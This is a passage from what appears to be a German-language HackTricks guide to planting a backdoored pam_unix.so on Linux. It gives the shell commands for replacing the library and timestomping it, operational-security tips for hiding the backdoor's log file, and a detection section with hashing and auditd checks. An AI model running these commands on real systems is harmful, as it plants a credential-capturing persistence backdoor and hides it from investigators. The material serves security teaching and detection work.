mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tipps
1. **Atomare Überschreibung** schreibe in eine temporäre Datei und `mv` sie an den Platz, um halbgeschriebene Bibliotheken zu vermeiden, die SSH sperren würden.
2. Die Platzierung von Protokolldateien wie `/usr/bin/.dbus.log` vermischt sich mit legitimen Desktop-Artefakten.
3. Halte die Symbolexporte identisch (`pam_sm_setcred`, usw.), um Fehlverhalten von PAM zu vermeiden.
### Erkennung
* Vergleiche MD5/SHA256 von `pam_unix.so` mit dem Distro-Paket.
* Überprüfe auf weltweit beschreibbare oder ungewöhnliche Eigentümerschaften unter `/lib/security/`.
* `auditd` Regel: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### Referenzen
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration von globalen Telekommunikationsnetzwerken](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}